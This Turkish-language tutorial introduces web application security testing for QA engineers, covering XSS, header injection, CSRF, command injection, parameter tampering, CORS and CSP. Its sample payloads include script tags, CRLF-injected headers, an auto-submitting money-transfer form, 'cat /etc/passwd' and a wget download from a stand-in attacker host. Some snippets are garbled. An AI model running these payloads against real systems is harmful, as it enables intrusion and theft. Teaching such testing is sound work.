Siber Güvenliğin Temelleri: Kalite Güvence Mühendisleri için Pratik Web Uygulaması Güvenliği Testi İpuçları

Bu makale, temel güvenlik açıklarını ve test tekniklerini araştırarak web uygulaması pentest becerilerinizi geliştirmek için pratik bilgiler sağlar. Makale, QA mühendislerine ve analistlerine adadığım bir dizi gönderiyi birleştirerek temel siber güvenlik açıklarının pratik bir incelemesini sunuyor. Amaç, QA Mühendislerini/Test Uzmanlarını/Analistlerini, yazılım QA'sı ile siber güvenlik arasındaki boşluğu dolduran bilgilerle güçlendirmek ve web uygulamalarının bütünlüğünü ve güvenliğini sağlamak için birleşik bir yaklaşımı teşvik etmektir.

Bu nihai bir rehber değil ancak siber güvenlik alanıyla ilgilenen bir QA mühendisi olarak deneyimlerimi paylaşmak istiyorum; Bazı yönleri daha derinlemesine öğrenmekle ilgileniyorsanız, bazı yararlı bağlantılarla birlikte oldukça yüzeysel bilgiler olacaktır.

1. XSS (Siteler Arası Komut Dosyası Çalıştırma)

Kritik ve en yaygın güvenlik açıklarından biri XSS'dir - https://owasp.org/www-community/attacks/xss/

Sahada ve ön uç geliştirme teknolojilerinde kapsamlı bilgiye sahip olmadan XSS testinin nasıl yapılacağına dair basit bir yaklaşımı ve ipuçlarını paylaşacağım.

• Örneğin uygulamanızın giriş alanlarına bir komut dosyası etiketi ve ardından bir miktar JS kodu girin.

 <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))

• Girişi gönderin ve betiğin çalışıp çalışmadığına bakın.

• Eğer öyleyse, uygulama XSS saldırılarına karşı savunmasız demektir.

• Betik çalışmazsa, <img> veya <iframe> gibi diğer HTML etiketlerini ekleyerek girişi değiştirmeyi deneyin ve bunların sayfaya yansıtılıp yansıtılmadığına bakın (bu örnek neredeyse her zaman işime yarar)

   <b>t</b>#`"/*—est

• Web uygulaması URL'nizin veya kullanıcı adının, yüklenen dosya adlarının ( https://github.com/cure53/H5SC ) parametrelerini veya uygulama sayfasında görüntülenecek ve değiştirebileceğiniz herhangi bir metni sorgulamak için bir komut dosyası ekleyebilirsiniz. .

• Girişlerin ön uç doğrulamalarının farkında olun. Değeri her zaman doğrudan bir istek kullanarak (Postacı, Burp veya benzeri araçları kullanarak) göndermeye çalışın.

• Fuzzing ve bir yük listesi kullanın; mümkün olduğunda bu yaklaşımı otomatikleştirin veya bunun için özel araçlar kullanın.

Araçlardan bahsetmişken, XSS'yi keşfetmek, farklı olanları denemek, sonuçları farklı uygulamalarla birkaç kez karşılaştırmak ve en çok beğendiğinizi seçmek için pek çok araç var: https://linuxhint.com/free_xss_tools/ (Çok kullandım) OWASP ZAP ve BurpSuite).

Şahsen, buradaki yükleri ve bilgileri kullanmayı seviyorum - https://github.com/s0md3v/AwesomeXSS - bence çok faydalı bir kaynak.

XSS ve veriler hakkında daha fazla ayrıntı için aşağıdaki kaynakları bulabilirsiniz:

• https://owasp.org/www-community/attacks/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://Gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

2. Başlık Enjeksiyonları

Bu güvenlik açığı, bir saldırganın bir web sitesinin başlığına kötü amaçlı kod enjekte ederek yetkisiz eylemler gerçekleştirmesine veya hassas bilgilere erişmesine olanak sağlaması durumunda ortaya çıkar.

Başlık enjeksiyonlarını test etmek için birkaç adımı takip edebilirsiniz:

• HTTP başlıklarını değiştirmek için Postman, Burp veya benzer araçları kullanın ve yetkisiz başlıklar ekleyip ekleyemeyeceğinizi veya mevcut olanları değiştirip değiştiremeyeceğinizi görün.
• Sunucunun yanıt başlıklarında hassas bilgiler gönderip göndermediğini kontrol edin.
• Kötü amaçlı içerik ekleyerek veya değerlerini değiştirerek çerezleri değiştirmeye çalışın. Başlık enjeksiyonlarını test etmek için bir veri yükü örneği, başlık alanına bir yeni satır karakteri ve ardından ek başlıklar eklemektir.

 (%0d%0a OR \r\n)

Örneğin, Set-Cookie başlığını enjekte etmek için aşağıdaki veri kullanılabilir:

 User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked

Başka bir örnek, bir saldırganın aynı sunucudaki başka bir web sitesine veya alt etki alanına erişmek için Ana Bilgisayar başlığını değiştirebildiği Ana Bilgisayar başlığı enjeksiyonudur. Örneğin:

 Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com

Başlık eklemeleri hakkında daha fazla bilgi edinmek için aşağıdaki kaynaklara başvurabilirsiniz:

• https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.acunetix.com/blog/web-security-zone/http-header-injection/
• https://portswigger.net/web-security/host-header/exploiting

3. CSRF (Siteler Arası İstek Sahteciliği)

CSRF, kötü amaçlı bir web sitesinin bir kullanıcıyı, kullanıcının o anda oturum açmış olduğu farklı bir web sitesinde işlem yapması için kandırması durumunda ortaya çıkar. Bu tür bir saldırı, kullanıcı adına yetkisiz eylemlerin (herhangi bir POST isteği) gerçekleştirilmesine neden olabilir.

CSRF açıklarını test etmek için özetle şunları yapabilirsiniz:

• Web sitesinde hassas eylemler gerçekleştiren herhangi bir form veya eylem bulun; bunlar, şifreleri değiştirmek veya işlem yapmak (veya kullanıcının bilgisi olmadan kullanıcı adına gerçekleştirilmesi durumunda kullanıcılara zararlı olabilecek diğer gönderi istekleri) olabilir.
• Aynı eylemi gerçekleştiren gizli bir form içeren bir HTML sayfası veya kod pasajı oluşturun; örneğin:

 <html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>

• Bu kodu bir HTML dosyası olarak kaydedin ve test ettiğiniz sitede oturum açtığınız tarayıcıda açın.
• Eylemin kullanıcının bilgisi veya izni olmadan gerçekleştirilip gerçekleştirilmediğini kontrol edin. 2'deki örnekte kullanıcı, saldırganın hedef web sitesindeki hesabına 1000 dolar aktarmak için otomatik olarak gizli bir form gönderen bir web sitesini ziyaret etmesi için kandırılmaktadır.

CSRF saldırılarını önlemek amacıyla isteğin kaynağını doğrulamak amacıyla CSRF karşıtı belirteçleri veya aynı site çerezlerini kullanın. Bu belirteçler, sunucu tarafından oluşturulan ve form veya URL parametrelerine dahil edilen benzersiz değerlerdir. Form gönderildiğinde sunucu, belirtecin beklenen değerle eşleşip eşleşmediğini kontrol eder ve eşleşmiyorsa isteği reddeder. İşte Python'da bir örnek:

 import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response

Yararlı kaynaklar:

• https://owasp.org/www-community/attacks/csrf
• https://portswigger.net/web-security/csrf
• https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

4. RCE (Uzaktan Kod Yürütme) ve Komut Ekleme

RCE ve Komut Ekleme güvenlik açıkları, saldırganların hedef sistemde rastgele kod veya işletim sistemi komutları çalıştırabilmesi durumunda ortaya çıkar. Bu tür saldırılar sistemin tamamen ele geçirilmesine ve hassas verilere yetkisiz erişime neden olabilir.

RCE ve Command Injection güvenlik açıklarını test etmek için özetle şunları yapabilirsiniz:

• Değiştirilebilecek giriş alanlarını veya parametreleri tanımlayın. Bu giriş alanları veya parametreler, formlar, URL parametreleri, çerezler, HTTP başlıkları vb. gibi çok çeşitli yerlerde bulunabilir. Bu tür parametreleri tanımlamak için, Burp Suite gibi, müdahale etmenize olanak tanıyan bir araç kullanabilirsiniz. HTTP isteklerini ve yanıtlarını değiştirin (ücretsiz sürümde). Burp, giriş alanları ve parametreler de dahil olmak üzere tüm istekleri ve yanıtları yakalayacak ve görüntüleyecektir. Paramlarınızı aldıktan sonra, bunların eklenen kodu veya işletim sistemi komutlarını yürütmek için kullanılıp kullanılamayacaklarını kontrol etmeniz gerekir.
• Bu alanlara veya parametrelere kötü amaçlı veriler enjekte edin; işte bazı olası ve basit örnekler:

 ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3

• Yükün başarıyla yürütülüp yürütülmediğini ve size herhangi bir hassas bilgi gönderilip gönderilmediğini görmek için uygulamanın davranışını kontrol edin. Örneğin, ls -la kullandıysanız ve uygulama sunucudaki dosya ve dizinlerin bir listesini görüntülediyse, bu, veri yükünün başarıyla yürütüldüğünü ve uygulamanın komut eklemeye karşı savunmasız olduğunu gösterir.

Tüm veriler bazı görünür çıktılarla sonuçlanmaz. Bu gibi durumlarda ağ trafiğini izlemek veya log dosyalarını incelemek gibi başka yöntemler kullanmanız gerekebilir.

RCE ve Komut Ekleme saldırılarını önlemek için kullanıcı girişinin doğrulanması ve kötü amaçlı karakterlerin veya komutların kaldırılması veya temizlenmesi gerekir.

Daha ileri öğrenim için bazı yararlı kaynaklar şunlardır:

• https://owasp.org/www-community/attacks/Command_Injection
• https://owasp.org/www-community/attacks/Code_Injection
• https://portswigger.net/web-security

5. Web Parametrelerinin Değiştirilmesi

Bu tür saldırı, istemci tarafından sunucu tarafına gönderilen parametreleri değiştirdiğinizde, örneğin yetkisiz erişime veya ayrıcalık artışına yol açtığında meydana gelir.

Bu tür bir güvenlik açığını test etmek için aşağıdakileri yapabilirsiniz:

• Değiştirilebilecek giriş alanlarını veya parametreleri tanımlayın. Diğer güvenlik açıklarına benzer şekilde, HTTP isteklerini ve yanıtlarını engellemek ve değiştirmek için Burp Suite gibi bir araç kullanabilirsiniz.
• Parametreleri değiştirin. Örneğin, bir parametre bir ürünün fiyatını kontrol ediyorsa, daha düşük bir fiyata ürün satın almak için bunu değiştirebilirsiniz:- bir ürünün fiyatını 10'dan 1'e değiştirin.- kullanıcı kimliği parametresini değiştirerek kimlik doğrulamayı atlayın.- Geri ödeme almak için bir ürünün miktarını negatif bir sayıya veya 1 öğenin fiyatına daha fazla ürün almak için daha yüksek bir sayıya değiştirin.
• Kurcalamanın başarılı olup olmadığını görmek için uygulamanın davranışını kontrol edin. Örneğin, fiyatı başarılı bir şekilde değiştirirseniz, sepeti veya makbuzu kontrol ettiğinizde uygulamanın bu değişikliği yansıtması gerekir.
• Ve elbette, bulgularınızı geliştiricilere bildirin, böylece onlar da sorunu bir güvenlik riski haline gelmeden önce çözebilsinler.

Web Parametresini Değiştirme saldırılarını önlemek için giriş doğrulama ve temizleme çok önemlidir. Tüm giriş verilerinin sunucu tarafında doğrulandığından ve uygulamanın kötü amaçlı girişleri reddettiğinden emin olun. Bu tür güvenlik açıklarının bir QA ekibi tarafından tanımlanması gereken en iyi şeyler olduğunu söyleyebilirim çünkü QA'lar uygulamayı/ürünü, mantığını ve parametrelerini genellikle geliştirme sürecine dahil olmayan infosec mühendislerinden daha iyi bilir.

Web Parametrelerinin Değiştirilmesi hakkında daha fazla bilgi edinmenize yardımcı olacak bazı ek kaynaklar şunlardır:

• https://owasp.org/www-community/attacks/Web_Parameter_Tampering
• https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/
• https://www.imperva.com/learn/application-security/parameter-tampering/

6. Çapraz Kaynaklı Kaynak Paylaşımı (CORS)

Bu, web sayfalarının, web sayfasına hizmet veren etki alanından farklı bir etki alanına istekte bulunmasını kısıtlayan bir güvenlik mekanizmasıdır.

Aşağıdakileri yaparak test edebilirsiniz:

• Ana makinenize erişimin yasaklanması gereken herhangi bir etki alanını (örneğin, google.com) tarayıcıda açın.
• Tarayıcı konsolunda şu komutu kullanın:

 fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })

• Her şey doğru şekilde yapılandırılmışsa aşağıdakileri almalısınız:

 access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

Şu basit adımları uygulayın:

1. İsteğe dahil olan kaynak ve hedef etki alanlarını bulun. Kaynak alan adı, isteği yapan web sayfasının alanıdır ve hedef alan adı, isteğin gönderildiği alan adıdır.
2. Postman gibi bir araç kullanarak kaynak alan adından hedef alan adına bir istek gönderin. İsteğin çapraz kaynak isteği olduğunu belirtmek için uygun başlıkları eklediğinizden emin olun.
3. Sunucu, isteğe kaynak etki alanından izin verildiğini belirtmek için yanıta Access-Control-Allow-Origin başlığını eklemelidir. Bu başlığın eksik olması veya farklı bir değere ayarlanması, uygulamadaki bir güvenlik açığına işaret ediyor olabilir.
4. Access-Control-Allow-Origin başlığı eksikse veya bir değere ayarlanmışsa isteği değiştirerek kısıtlamaları atlamayı deneyin. Örneğin, Origin başlığını hedef etki alanıyla eşleşecek şekilde değiştirmeyi veya farklı bir HTTP yöntemi kullanmayı deneyebilirsiniz. Test edilecek bazı örnek istekler şunlardır:

 Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With

Cevap:

 HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With

CORS hakkında daha fazla bilgi için bazı yararlı kaynakları burada bulabilirsiniz:

• https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
• https://portswigger.net/web-security/cors

7. İçerik Güvenliği Politikası (CSP) başlığı ayarlanmadı

CSP, web sayfalarına hangi içerik kaynaklarının yüklenmesine izin verildiğini belirlemeye izin vererek XSS saldırılarını önlemeye yardımcı olan bir mekanizmadır. CSP başlık seti olmadan, sayfaya kötü amaçlı komut dosyaları enjekte etmek ve hassas kullanıcı verilerini çalmak veya başka eylemler gerçekleştirmek potansiyel olarak mümkündür.

CSP başlığını kontrol etmek için aşağıdakileri yapabilirsiniz:

• Test etmek istediğiniz web sayfasını bir tarayıcıda açın.
• Tarayıcınızda geliştirme araçlarını açın ve Konsola gidin.
• Aşağıdaki kodu girin:

 document.cookie=TESTCOOKIE=XSS;

• Başarılı bir şekilde çalışıyorsa hata mesajı yok. Bu, çerezlerin harici bir kaynaktan ayarlanmasına izin verdiği için sayfanın XSS'ye karşı potansiyel olarak savunmasız olduğunu gösterir.

Sayfaya bir komut dosyası enjekte etmeyi deneyin ve çalışıp çalışmadığını görün. Örneğin, aşağıdaki kodu tarayıcı konsoluna ekleyin:

 var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);

Yanıt başlıklarında Content-Security-Policy başlığını arayın. Bu başlığın eksik olması, web sayfasında CSP başlık setinin bulunmadığı anlamına gelir.

CSP başlığı web uygulaması güvenliğinde önemli bir şeydir.

CSP'ye ilişkin daha fazla bilgi için:

• https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
• https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

Siber güvenlik ile yazılım kalite güvencesi arasındaki simbiyotik ilişki, yazılım uygulamalarının güvenliği açısından önemlidir. Tehdit modelleme metodolojilerinin ve otomatik bulanıklık testi tekniklerinin entegrasyonu sayesinde, QA mühendisleri güvenlik açıklarının erken tespitine ve azaltılmasına önemli ölçüde katkıda bulunur. Siber güvenlik ve QA ekipleri arasındaki işbirliği, yazılım geliştirmeye yönelik birleşik bir yaklaşımın ayrılmaz bir parçasını oluşturur; QA'nın rolü, potansiyel güvenlik kusurlarının proaktif tanımlanmasını ve düzeltilmesini kapsayacak şekilde işlevsellik ve kullanılabilirlik testlerinin ötesine uzanır. QA'yı siber güvenlik çabalarında stratejik bir varlık olarak kabul etmek önemlidir; çünkü bu yalnızca veri korumasını geliştirmekle kalmaz, aynı zamanda bir şirketin itibarını, müşteri güvenini ve genel finansal istikrarı da korur. QA profesyonellerinin teknik becerileri, sıkı test uygulamalarıyla birleştiğinde siber tehditlere karşı sağlam bir savunma oluşturur.

Çok önemli bir hatırlatma:

Sızma testlerini her zaman açık izinle ve kontrollü bir ortamda gerçekleştirin. Bu etik yaklaşım, güvenlik değerlendirmelerinin sorumlu test protokolleriyle uyumlu olmasını sağlar, sistemlere yanlışlıkla müdahale edilmesini önler ve hem test sürecinin hem de genel siber güvenlik stratejisinin bütünlüğünü korur.

Bu makalede, QA mühendislerinin web uygulaması güvenlik testlerini iyileştirmesi, yazılım QA'sı ve siber güvenliği birbirine bağlaması için pratik ipuçları paylaşılmaktadır. Daha fazla bilgi edinmek isteyenler için içgörüler ve faydalı bağlantılar içeren, başlangıç seviyesindekilere yönelik bir kılavuzdur.

Burada da yayınlandı.